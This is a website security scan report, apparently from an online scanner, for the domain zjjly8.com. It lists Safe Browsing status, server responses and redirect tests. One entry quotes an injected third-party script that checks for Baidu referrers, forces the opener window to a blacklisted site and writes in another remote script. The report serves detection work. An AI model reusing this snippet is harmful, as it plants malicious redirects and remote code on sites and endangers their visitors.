Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=zjjly8.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.zjjly8.com/ | HTTP/1.1 200 OK Date: Fri, 06 Mar 2015 18:57:11 GMT Accept-Ranges: bytes ETag: "42538ca5bb14d01:610" Server: Microsoft-IIS/6.0 Content-Length: 59344 Content-Location: http://www.zjjly8.com/index.html Content-Type: text/html Last-Modified: Wed, 10 Dec 2014 20:55:36 GMT X-Powered-By: ASP.NET | clean |
http://www.zjjly8.com/index.html | 200 OK Content-Length: 59344 Content-Type: text/html | clean |
http://Js.lwtzdec.com/huishou.js | 200 OK Content-Length: 1063 Content-Type: application/x-javascript | suspicious |
Page code contains blacklisted domain: vip.hunlianyuan.com ...[596 bytes skipped]... ) > -1) { window.opener.location.href = url } else { window.opener.location.replace(url) } } }; var referer = document.referrer; if (!referer) { return }; var rst = /https?\:\/\/([^\/]+)/i.exec(referer); var host = rst ? rst[1] : 'unknown'; if (/baidu\.com$/i.test(host) && timeallow) { var search = referer.substring(referer.indexOf('?')); jump("http://vip.hunlianyuan.com/1.html"); return } })() } catch(e) {} document.write ('<script language="javascript" type="text/javascript" src="http://js.17meiliba.com/tan.js"></script>'); | ||
http://zjjly8.com/tj.js | 200 OK Content-Length: 0 Content-Type: application/x-javascript | clean |
http://www.zjjly8.com/{longshao_articleurl} | HTTP/1.1 200 OK Date: Fri, 06 Mar 2015 18:57:18 GMT Accept-Ranges: bytes ETag: "a22e2516d60d01:610" Server: Microsoft-IIS/6.0 Content-Length: 1536 Content-Location: http://www.zjjly8.com/404.html?404;http://www.zjjly8.com:80/{longshao_articleurl} Content-Type: text/html Last-Modified: Sat, 15 Nov 2014 13:14:28 GMT X-Powered-By: ASP.NET | clean |
http://www.zjjly8.com/404.html?404;http://www.zjjly8.com:80/{longshao_articleurl} | 200 OK Content-Length: 1536 Content-Type: text/html | clean |
http://www.qq.com/404/search_children.js | 200 OK Content-Length: 295 Content-Type: application/javascript | clean |
http://js.users.51.la/17453581.js | 200 OK Content-Length: 1930 Content-Type: application/x-javascript | clean |
http://www.zjjly8.com/test404page.js | HTTP/1.1 200 OK Date: Fri, 06 Mar 2015 18:57:20 GMT Accept-Ranges: bytes ETag: "a22e2516d60d01:610" Server: Microsoft-IIS/6.0 Content-Length: 1536 Content-Location: http://www.zjjly8.com/404.html?404;http://www.zjjly8.com:80/test404page.js Content-Type: text/html Last-Modified: Sat, 15 Nov 2014 13:14:28 GMT X-Powered-By: ASP.NET | clean |
http://www.zjjly8.com/404.html?404;http://www.zjjly8.com:80/test404page.js | 200 OK Content-Length: 1536 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: zjjly8.com
Result:
GET / HTTP/1.1
Host: zjjly8.com
Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: zjjly8.com
Referer: http://www.google.com/search?q=zjjly8.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: zjjly8.com
Referer: http://www.google.com/search?q=zjjly8.com
Result:
The result is similar to the first query. There are no suspicious redirects found.